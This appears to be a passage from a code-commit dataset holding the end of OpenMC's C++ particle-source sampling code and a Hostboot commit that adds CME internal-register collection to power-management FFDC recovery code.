node)\n{\n \/\/ Check for particle type\n if (check_for_node(node, \"particle\")) {\n auto temp_str = get_node_value(node, \"particle\", true, true);\n if (temp_str == \"neutron\") {\n particle_ = Particle::Type::neutron;\n } else if (temp_str == \"photon\") {\n particle_ = Particle::Type::photon;\n settings::photon_transport = true;\n } else {\n fatal_error(std::string(\"Unknown source particle type: \") + temp_str);\n }\n }\n\n \/\/ Check for source strength\n if (check_for_node(node, \"strength\")) {\n strength_ = std::stod(get_node_value(node, \"strength\"));\n }\n\n \/\/ Check for external source file\n if (check_for_node(node, \"file\")) {\n \/\/ Copy path of source file\n settings::path_source = get_node_value(node, \"file\", false, true);\n\n \/\/ Check if source file exists\n if (!file_exists(settings::path_source)) {\n fatal_error(fmt::format(\"Source file '{}' does not exist.\",\n settings::path_source));\n }\n } else if (check_for_node(node, \"library\")) {\n settings::path_source_library = get_node_value(node, \"library\", false, true);\n if (!file_exists(settings::path_source_library)) {\n fatal_error(fmt::format(\"Source library '{}' does not exist.\",\n settings::path_source_library));\n }\n } else {\n\n \/\/ Spatial distribution for external source\n if (check_for_node(node, \"space\")) {\n \/\/ Get pointer to spatial distribution\n pugi::xml_node node_space = node.child(\"space\");\n\n \/\/ Check for type of spatial distribution and read\n std::string type;\n if (check_for_node(node_space, \"type\"))\n type = get_node_value(node_space, \"type\", true, true);\n if (type == \"cartesian\") {\n space_ = UPtrSpace{new CartesianIndependent(node_space)};\n } else if (type == \"cylindrical\") {\n space_ = UPtrSpace{new CylindricalIndependent(node_space)};\n } else if (type == \"spherical\") {\n space_ = UPtrSpace{new SphericalIndependent(node_space)};\n } else if (type == \"box\") {\n space_ = UPtrSpace{new SpatialBox(node_space)};\n } else if (type == \"fission\") {\n space_ = UPtrSpace{new SpatialBox(node_space, true)};\n } else if (type == \"point\") {\n space_ = UPtrSpace{new SpatialPoint(node_space)};\n } else {\n fatal_error(fmt::format(\n \"Invalid spatial distribution for external source: {}\", type));\n }\n\n } else {\n \/\/ If no spatial distribution specified, make it a point source\n space_ = UPtrSpace{new SpatialPoint()};\n }\n\n \/\/ Determine external source angular distribution\n if (check_for_node(node, \"angle\")) {\n \/\/ Get pointer to angular distribution\n pugi::xml_node node_angle = node.child(\"angle\");\n\n \/\/ Check for type of angular distribution\n std::string type;\n if (check_for_node(node_angle, \"type\"))\n type = get_node_value(node_angle, \"type\", true, true);\n if (type == \"isotropic\") {\n angle_ = UPtrAngle{new Isotropic()};\n } else if (type == \"monodirectional\") {\n angle_ = UPtrAngle{new Monodirectional(node_angle)};\n } else if (type == \"mu-phi\") {\n angle_ = UPtrAngle{new PolarAzimuthal(node_angle)};\n } else {\n fatal_error(fmt::format(\n \"Invalid angular distribution for external source: {}\", type));\n }\n\n } else {\n angle_ = UPtrAngle{new Isotropic()};\n }\n\n \/\/ Determine external source energy distribution\n if (check_for_node(node, \"energy\")) {\n pugi::xml_node node_dist = node.child(\"energy\");\n energy_ = distribution_from_xml(node_dist);\n } else {\n \/\/ Default to a Watt spectrum with parameters 0.988 MeV and 2.249 MeV^-1\n energy_ = UPtrDist{new Watt(0.988e6, 2.249e-6)};\n }\n }\n}\n\n\nParticle::Bank SourceDistribution::sample(uint64_t* seed) const\n{\n Particle::Bank site;\n\n \/\/ Set weight to one by default\n site.wgt = 1.0;\n\n \/\/ Repeat sampling source location until a good site has been found\n bool found = false;\n int n_reject = 0;\n static int n_accept = 0;\n while (!found) {\n \/\/ Set particle type\n site.particle = particle_;\n\n \/\/ Sample spatial distribution\n site.r = space_->sample(seed);\n double xyz[] {site.r.x, site.r.y, site.r.z};\n\n \/\/ Now search to see if location exists in geometry\n int32_t cell_index, instance;\n int err = openmc_find_cell(xyz, &cell_index, &instance);\n found = (err != OPENMC_E_GEOMETRY);\n\n \/\/ Check if spatial site is in fissionable material\n if (found) {\n auto space_box = dynamic_cast<SpatialBox*>(space_.get());\n if (space_box) {\n if (space_box->only_fissionable()) {\n \/\/ Determine material\n const auto& c = model::cells[cell_index];\n auto mat_index = c->material_.size() == 1\n ? c->material_[0] : c->material_[instance];\n\n if (mat_index == MATERIAL_VOID) {\n found = false;\n } else {\n if (!model::materials[mat_index]->fissionable_) found = false;\n }\n }\n }\n }\n\n \/\/ Check for rejection\n if (!found) {\n ++n_reject;\n if (n_reject >= EXTSRC_REJECT_THRESHOLD &&\n static_cast<double>(n_accept)\/n_reject <= EXTSRC_REJECT_FRACTION) {\n fatal_error(\"More than 95% of external source sites sampled were \"\n \"rejected. Please check your external source definition.\");\n }\n }\n }\n\n \/\/ Increment number of accepted samples\n ++n_accept;\n\n \/\/ Sample angle\n site.u = angle_->sample(seed);\n\n \/\/ Check for monoenergetic source above maximum particle energy\n auto p = static_cast<int>(particle_);\n auto energy_ptr = dynamic_cast<Discrete*>(energy_.get());\n if (energy_ptr) {\n auto energies = xt::adapt(energy_ptr->x());\n if (xt::any(energies > data::energy_max[p])) {\n fatal_error(\"Source energy above range of energies of at least \"\n \"one cross section table\");\n } else if (xt::any(energies < data::energy_min[p])) {\n fatal_error(\"Source energy below range of energies of at least \"\n \"one cross section table\");\n }\n }\n\n while (true) {\n \/\/ Sample energy spectrum\n site.E = energy_->sample(seed);\n\n \/\/ Resample if energy falls outside minimum or maximum particle energy\n if (site.E < data::energy_max[p] && site.E > data::energy_min[p]) break;\n }\n\n \/\/ Set delayed group\n site.delayed_group = 0;\n\n return site;\n}\n\n\/\/==============================================================================\n\/\/ Non-member functions\n\/\/==============================================================================\n\nvoid initialize_source()\n{\n write_message(\"Initializing source particles...\", 5);\n\n if (!settings::path_source.empty()) {\n \/\/ Read the source from a binary file instead of sampling from some\n \/\/ assumed source distribution\n\n write_message(fmt::format(\"Reading source file from {}...\",\n settings::path_source), 6);\n\n \/\/ Open the binary file\n hid_t file_id = file_open(settings::path_source, 'r', true);\n\n \/\/ Read the file type\n std::string filetype;\n read_attribute(file_id, \"filetype\", filetype);\n\n \/\/ Check to make sure this is a source file\n if (filetype != \"source\" && filetype != \"statepoint\") {\n fatal_error(\"Specified starting source file not a source file type.\");\n }\n\n \/\/ Read in the source bank\n read_source_bank(file_id);\n\n \/\/ Close file\n file_close(file_id);\n } else if (!settings::path_source_library.empty()) {\n\n write_message(fmt::format(\"Sampling from library source {}...\",\n settings::path_source), 6);\n\n fill_source_bank_custom_source();\n\n } else {\n \/\/ Generation source sites from specified distribution in user input\n for (int64_t i = 0; i < simulation::work_per_rank; ++i) {\n \/\/ initialize random number seed\n int64_t id = simulation::total_gen*settings::n_particles +\n simulation::work_index[mpi::rank] + i + 1;\n uint64_t seed = init_seed(id, STREAM_SOURCE);\n\n \/\/ sample external source distribution\n simulation::source_bank[i] = sample_external_source(&seed);\n }\n }\n\n \/\/ Write out initial source\n if (settings::write_initial_source) {\n write_message(\"Writing out initial source...\", 5);\n std::string filename = settings::path_output + \"initial_source.h5\";\n hid_t file_id = file_open(filename, 'w', true);\n write_source_bank(file_id);\n file_close(file_id);\n }\n}\n\nParticle::Bank sample_external_source(uint64_t* seed)\n{\n \/\/ Determine total source strength\n double total_strength = 0.0;\n for (auto& s : model::external_sources)\n total_strength += s.strength();\n\n \/\/ Sample from among multiple source distributions\n int i = 0;\n if (model::external_sources.size() > 1) {\n double xi = prn(seed)*total_strength;\n double c = 0.0;\n for (; i < model::external_sources.size(); ++i) {\n c += model::external_sources[i].strength();\n if (xi < c) break;\n }\n }\n\n \/\/ Sample source site from i-th source distribution\n Particle::Bank site {model::external_sources[i].sample(seed)};\n\n \/\/ If running in MG, convert site.E to group\n if (!settings::run_CE) {\n site.E = lower_bound_index(data::mg.rev_energy_bins_.begin(),\n data::mg.rev_energy_bins_.end(), site.E);\n site.E = data::mg.num_energy_groups_ - site.E - 1.;\n }\n\n return site;\n}\n\nvoid free_memory_source()\n{\n model::external_sources.clear();\n}\n\n\/\/Load custom source library\nvoid load_custom_source_library()\n{\n#ifdef HAS_DYNAMIC_LINKING\n\n \/\/ Open the library\n custom_source_library = dlopen(settings::path_source_library.c_str(), RTLD_LAZY);\n if (!custom_source_library) {\n fatal_error(\"Couldn't open source library \" + settings::path_source_library);\n }\n\n \/\/ reset errors\n dlerror();\n\n \/\/ get the function from the library\n \/\/using sample_t = Particle::Bank (*)(uint64_t* seed);\n custom_source_function = reinterpret_cast<sample_t>(dlsym(custom_source_library, \"sample_source\"));\n\n \/\/ check for any dlsym errors\n auto dlsym_error = dlerror();\n if (dlsym_error) {\n dlclose(custom_source_library);\n fatal_error(fmt::format(\"Couldn't open the sample_source symbol: {}\", dlsym_error));\n }\n\n#else\n fatal_error(\"Custom source libraries have not yet been implemented for \"\n \"non-POSIX systems\");\n#endif\n\n}\n\n\/\/Release custom source library\nvoid close_custom_source_library()\n{\n dlclose(custom_source_library);\n}\n\n\/\/Sample source particle from custom library\nParticle::Bank sample_custom_source_library(uint64_t* seed)\n{\n return custom_source_function(*seed);\n}\n\n\/\/ fill the source bank from the external source\nvoid fill_source_bank_custom_source()\n{\n \/\/ Load the custom library\n load_custom_source_library();\n\n \/\/ Generation source sites from specified distribution in the\n \/\/ library source\n for (int64_t i = 0; i < simulation::work_per_rank; ++i) {\n \/\/ initialize random number seed\n int64_t id = (simulation::total_gen + overall_generation()) *\n settings::n_particles + simulation::work_index[mpi::rank] + i + 1;\n uint64_t seed = init_seed(id, STREAM_SOURCE);\n\n \/\/ sample custom library source\n simulation::source_bank[i] = sample_custom_source_library(&seed);\n }\n\n \/\/ release the library\n close_custom_source_library();\n}\n\n} \/\/ namespace openmc\n<|endoftext|>"} {"text":"<commit_before><commit_msg>update uoj10680<commit_after><|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_recovery_ffdc_cme.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/ *INDENT-OFF*\n\n\n\/\/\/\n\/\/\/ @file p9_pm_recovery_ffdc_cme.C\n\/\/\/ @brief Models CME platform for the FFDC collection of PM complex\n\/\/\/\n\/\/\/ *HWP HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/\/ *HWP FW Owner: Prem S Jha <premjha2@in.ibm.com>\n\/\/\/ *HWP Team: PM\n\/\/\/ *HWP Level: 2\n\/\/\/ *HWP Consumed by: Hostboot\n\/\/\n\/\/ *INDENT-OFF*\n\/\/--------------------------------------------------------------------------\n\/\/ Includes\n\/\/--------------------------------------------------------------------------\n\n#include <p9_pm_recovery_ffdc_cme.H>\n#include <p9_hcd_memmap_cme_sram.H>\n#include <p9_ppe_defs.H>\n#include <stddef.h>\n#include <endian.h>\n\n namespace p9_stop_recov_ffdc\n {\n PlatCme::PlatCme( const fapi2::Target< fapi2::TARGET_TYPE_PROC_CHIP > i_procChipTgt )\n : PlatPmComplex( i_procChipTgt,\n FFDC_PPE_IMG_HDR_START,\n FFDC_CME_TRACE_START,\n FFDC_CME_DASH_BOARD_START,\n PLAT_CME )\n { }\n\n \/\/----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectFfdc( void * i_pHomerBuf )\n {\n FAPI_DBG(\">> PlatCme::collectFfdc\");\n fapi2::ReturnCode l_retCode = fapi2::FAPI2_RC_SUCCESS;\n auto l_exList =\n getProcChip().getChildren< fapi2::TARGET_TYPE_EX > ( fapi2::TARGET_STATE_PRESENT );\n uint8_t l_quadPos = 0;\n uint8_t l_exPos = 0;\n uint8_t l_cmePos = 0;\n uint8_t l_ffdcValdityVect = PPE_FFDC_ALL_VALID;\n uint8_t l_haltState = PPE_HALT_COND_UNKNOWN;\n uint8_t *l_pFfdcLoc = NULL;\n HomerFfdcRegion * l_pHomerFfdc =\n ( HomerFfdcRegion *)( (uint8_t *)i_pHomerBuf + FFDC_REGION_HOMER_BASE_OFFSET );\n\n for( auto ex : l_exList )\n {\n l_ffdcValdityVect = PPE_FFDC_ALL_VALID;\n\n FAPI_TRY( FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, ex, l_cmePos ),\n \"FAPI_ATTR_GET Failed To Read EX Position\" );\n\n if( !ex.isFunctional() )\n {\n \/\/Marking CME FFDC region as Invalid\n FAPI_TRY( updateCmeFfdcHeader( l_pFfdcLoc, l_cmePos, l_ffdcValdityVect, l_haltState ),\n \"Failed To Update CME FFDC Header for CME 0x%0d\", l_cmePos );\n continue;\n }\n\n l_exPos = l_cmePos % 2;\n l_quadPos = l_cmePos >> 1;\n l_pFfdcLoc = &l_pHomerFfdc->iv_quadFfdc[l_quadPos].iv_quadCmeBlock[l_exPos][0];\n\n FAPI_INF(\"CME FFDC Quad Pos %d Ex Pos %d \", l_quadPos, l_exPos );\n\n \/\/In case of error , invalidate FFDC in header.\n\n \/\/ @TODO this is still after reset, which would have already\n \/\/ halted the ppe. We need a wa to record this before reset\n \/\/ and pass it down, or have a spl r-m-w update per member\n \/\/ of the PPE Header?\n \/\/ l_retCode = getPpeHaltState (\n \/\/ getCmeBaseAddress (l_cmePos),\n \/\/ l_haltState);\n\n l_retCode = collectPpeState ( getCmeBaseAddress (l_cmePos),\n l_pFfdcLoc );\n if ( l_retCode != fapi2::FAPI2_RC_SUCCESS )\n {\n FAPI_ERR ( \"Error collecting CME State, CME Pos 0x08x\",\n l_cmePos );\n l_ffdcValdityVect &= ~PPE_STATE_VALID;\n }\n l_retCode = collectTrace( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Trace CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_TRACE_VALID;\n }\n\n l_retCode = collectGlobals( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Globals, CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_DASHBOARD_VALID;\n }\n\n l_retCode = collectImageHeader( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Image header, CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_IMAGE_HEADER_VALID;\n }\n\n FAPI_TRY( updateCmeFfdcHeader( l_pFfdcLoc, l_cmePos, l_ffdcValdityVect, l_haltState ),\n \"Failed To Update CME FFDC Header for CME 0x%0d\", l_cmePos );\n }\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectFfdc\");\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectTrace( uint8_t * i_pTraceBuf,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectTrace\" );\n PpeFfdcLayout * l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pTraceBuf );\n\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeTraces[0];\n\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n TRACES,\n FFDC_PPE_TRACES_SIZE ),\n \"Trace Collection Failed\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectTrace\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectGlobals( uint8_t * i_pCmeGlobals,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectGlobals\" );\n PpeFfdcLayout * l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pCmeGlobals );\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeGlobals[0];\n\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n DASH_BOARD_VAR,\n FFDC_PPE_SCORE_BOARD_SIZE ),\n \"Failed To Collect CME Global Variables\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectGlobals\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectInternalReg( uint8_t * i_pCmeIntReg,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectImageHeader( uint8_t * i_pCmeImgHdr,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectImageHeader\" );\n PpeFfdcLayout *l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pCmeImgHdr );\n\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeImageHeader[0];\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n IMAGE_HEADER,\n FFDC_PPE_IMG_HDR_SIZE ),\n \"Failed To Collect CME Image Header\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectImageHeader\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::updateCmeFfdcHeader( uint8_t * i_pHomerBuf, uint8_t i_cmePos,\n uint8_t l_ffdcValdityVect, uint8_t i_haltState )\n {\n FAPI_DBG(\">> updateCmeFfdcHeader\" );\n\n PpeFfdcHeader * l_pCmeFfdcHdr = ( (PpeFfdcHeader *)(( PpeFfdcHdrRegion * ) i_pHomerBuf ));\n l_pCmeFfdcHdr->iv_ppeMagicNumber = htobe32(FFDC_CME_MAGIC_NUM);\n l_pCmeFfdcHdr->iv_ppeNumber = i_cmePos;\n PlatPmComplex::updatePpeFfdcHeader( l_pCmeFfdcHdr, l_ffdcValdityVect, i_haltState );\n\n FAPI_DBG(\"<< updateCmeFfdcHeader\" );\n return fapi2::FAPI2_RC_SUCCESS;\n }\n \/\/-----------------------------------------------------------------------\n\nextern \"C\"\n{\n fapi2::ReturnCode p9_pm_recovery_ffdc_cme( const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP >& i_procChip, void * i_pFfdcBuf )\n {\n FAPI_IMP(\">> p9_pm_recovery_ffdc_cme\" );\n PlatCme l_cmeFfdc( i_procChip );\n FAPI_TRY( l_cmeFfdc.collectFfdc( i_pFfdcBuf ),\n \"Failed To Collect CME FFDC\" );\n\n fapi_try_exit:\n FAPI_IMP(\"<< p9_pm_recovery_ffdc_cme\" );\n return fapi2::current_err;\n }\n\n}\n\n }\/\/namespace p9_stop_recov_ffdc ends\n<commit_msg>PM Recovery FFDC: Added support to collect Register data for PPM<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_recovery_ffdc_cme.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/ *INDENT-OFF*\n\n\n\/\/\/\n\/\/\/ @file p9_pm_recovery_ffdc_cme.C\n\/\/\/ @brief Models CME platform for the FFDC collection of PM complex\n\/\/\/\n\/\/\/ *HWP HWP Owner: Greg Still <stillgs@us.ibm.com>\n\/\/\/ *HWP FW Owner: Prem S Jha <premjha2@in.ibm.com>\n\/\/\/ *HWP Team: PM\n\/\/\/ *HWP Level: 2\n\/\/\/ *HWP Consumed by: Hostboot\n\/\/\n\/\/ *INDENT-OFF*\n\/\/--------------------------------------------------------------------------\n\/\/ Includes\n\/\/--------------------------------------------------------------------------\n\n#include <p9_pm_recovery_ffdc_cme.H>\n#include <p9_hcd_memmap_cme_sram.H>\n#include <collect_reg_ffdc.H>\n#include <p9_ppe_defs.H>\n#include <stddef.h>\n#include <endian.h>\n\n namespace p9_stop_recov_ffdc\n {\n PlatCme::PlatCme( const fapi2::Target< fapi2::TARGET_TYPE_PROC_CHIP > i_procChipTgt )\n : PlatPmComplex( i_procChipTgt,\n FFDC_PPE_IMG_HDR_START,\n FFDC_CME_TRACE_START,\n FFDC_CME_DASH_BOARD_START,\n PLAT_CME )\n { }\n\n \/\/----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectFfdc( void * i_pHomerBuf )\n {\n FAPI_DBG(\">> PlatCme::collectFfdc\");\n fapi2::ReturnCode l_retCode = fapi2::FAPI2_RC_SUCCESS;\n auto l_exList =\n getProcChip().getChildren< fapi2::TARGET_TYPE_EX > ( fapi2::TARGET_STATE_PRESENT );\n uint8_t l_quadPos = 0;\n uint8_t l_exPos = 0;\n uint8_t l_cmePos = 0;\n uint8_t l_ffdcValdityVect = PPE_FFDC_ALL_VALID;\n uint8_t l_haltState = PPE_HALT_COND_UNKNOWN;\n uint8_t *l_pFfdcLoc = NULL;\n HomerFfdcRegion * l_pHomerFfdc =\n ( HomerFfdcRegion *)( (uint8_t *)i_pHomerBuf + FFDC_REGION_HOMER_BASE_OFFSET );\n\n for( auto ex : l_exList )\n {\n l_ffdcValdityVect = PPE_FFDC_ALL_VALID;\n\n FAPI_TRY( FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, ex, l_cmePos ),\n \"FAPI_ATTR_GET Failed To Read EX Position\" );\n\n if( !ex.isFunctional() )\n {\n \/\/Marking CME FFDC region as Invalid\n l_ffdcValdityVect = PPE_FFDC_INVALID;\n FAPI_TRY( updateCmeFfdcHeader( l_pFfdcLoc, l_cmePos, l_ffdcValdityVect, l_haltState ),\n \"Failed To Update CME FFDC Header for CME 0x%0d\", l_cmePos );\n continue;\n }\n\n l_exPos = l_cmePos % 2;\n l_quadPos = l_cmePos >> 1;\n l_pFfdcLoc = &l_pHomerFfdc->iv_quadFfdc[l_quadPos].iv_quadCmeBlock[l_exPos][0];\n\n FAPI_INF(\"CME FFDC Quad Pos %d Ex Pos %d \", l_quadPos, l_exPos );\n\n \/\/In case of error , invalidate FFDC in header.\n\n \/\/ @TODO this is still after reset, which would have already\n \/\/ halted the ppe. We need a wa to record this before reset\n \/\/ and pass it down, or have a spl r-m-w update per member\n \/\/ of the PPE Header?\n \/\/ l_retCode = getPpeHaltState (\n \/\/ getCmeBaseAddress (l_cmePos),\n \/\/ l_haltState);\n\n l_retCode = collectPpeState ( getCmeBaseAddress (l_cmePos),\n l_pFfdcLoc );\n if ( l_retCode != fapi2::FAPI2_RC_SUCCESS )\n {\n FAPI_ERR ( \"Error collecting CME State, CME Pos 0x08x\",\n l_cmePos );\n l_ffdcValdityVect &= ~PPE_STATE_VALID;\n }\n l_retCode = collectTrace( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Trace CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_TRACE_VALID;\n }\n\n l_retCode = collectGlobals( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Globals, CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_DASHBOARD_VALID;\n\n }\n\n l_retCode = collectImageHeader( l_pFfdcLoc, ex );\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Image header, CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_IMAGE_HEADER_VALID;\n }\n\n l_retCode = collectInternalReg( l_pFfdcLoc, ex , l_cmePos);\n\n if( l_retCode )\n {\n FAPI_ERR(\"Error in collecting CME Internal Regs, CME Pos 0x%08x\", l_cmePos );\n l_ffdcValdityVect &= ~PPE_INT_REG_VALID;\n }\n\n\n\n FAPI_TRY( updateCmeFfdcHeader( l_pFfdcLoc, l_cmePos, l_ffdcValdityVect, l_haltState ),\n \"Failed To Update CME FFDC Header for CME 0x%0d\", l_cmePos );\n\n }\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectFfdc\");\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectTrace( uint8_t * i_pTraceBuf,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectTrace\" );\n PpeFfdcLayout * l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pTraceBuf );\n\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeTraces[0];\n\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n TRACES,\n FFDC_PPE_TRACES_SIZE ),\n \"Trace Collection Failed\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectTrace\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectGlobals( uint8_t * i_pCmeGlobals,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectGlobals\" );\n PpeFfdcLayout * l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pCmeGlobals );\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeGlobals[0];\n\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n DASH_BOARD_VAR,\n FFDC_PPE_SCORE_BOARD_SIZE ),\n \"Failed To Collect CME Global Variables\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectGlobals\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectInternalReg( uint8_t * i_pCmeIntReg,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt ,\n const uint8_t i_exPos)\n {\n FAPI_DBG(\">> PlatCme::collectInternalReg\" );\n\n PpeFfdcLayout * l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pCmeIntReg);\n uint8_t * l_pIntRegs = &l_pCmeFfdc->iv_ppeInternalReg[0];\n\n FAPI_INF(\"CME Internal FFDC Pos %d \", i_exPos);\n\n FAPI_TRY(collectRegisterData<fapi2::TARGET_TYPE_EX> (i_exTgt,\n l_pIntRegs,\n static_cast<fapi2::HwpFfdcId>(fapi2::CME_INTERNAL_FFDC_REGISTERS)),\n \"Failed to collect register data for CME instance %u\",i_exPos);\n\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectInternalReg\" );\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::collectImageHeader( uint8_t * i_pCmeImgHdr,\n const fapi2::Target<fapi2::TARGET_TYPE_EX >& i_exTgt )\n {\n FAPI_DBG(\">> PlatCme::collectImageHeader\" );\n PpeFfdcLayout *l_pCmeFfdc = ( PpeFfdcLayout *) ( i_pCmeImgHdr );\n\n uint8_t * l_pTraceLoc = &l_pCmeFfdc->iv_ppeImageHeader[0];\n FAPI_TRY( PlatPmComplex::collectSramInfo\n ( i_exTgt,\n l_pTraceLoc,\n IMAGE_HEADER,\n FFDC_PPE_IMG_HDR_SIZE ),\n \"Failed To Collect CME Image Header\" );\n\n fapi_try_exit:\n FAPI_DBG(\"<< PlatCme::collectImageHeader\" );\n return fapi2::current_err;\n }\n\n \/\/-----------------------------------------------------------------------\n\n fapi2::ReturnCode PlatCme::updateCmeFfdcHeader( uint8_t * i_pHomerBuf, uint8_t i_cmePos,\n uint8_t l_ffdcValdityVect, uint8_t i_haltState )\n {\n FAPI_DBG(\">> updateCmeFfdcHeader\" );\n\n PpeFfdcHeader * l_pCmeFfdcHdr = ( (PpeFfdcHeader *)(( PpeFfdcHdrRegion * ) i_pHomerBuf ));\n l_pCmeFfdcHdr->iv_ppeMagicNumber = htobe32(FFDC_CME_MAGIC_NUM);\n l_pCmeFfdcHdr->iv_ppeNumber = i_cmePos;\n PlatPmComplex::updatePpeFfdcHeader( l_pCmeFfdcHdr, l_ffdcValdityVect, i_haltState );\n\n FAPI_DBG(\"<< updateCmeFfdcHeader\" );\n return fapi2::FAPI2_RC_SUCCESS;\n }\n \/\/-----------------------------------------------------------------------\n\nextern \"C\"\n{\n fapi2::ReturnCode p9_pm_recovery_ffdc_cme( const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP >& i_procChip, void * 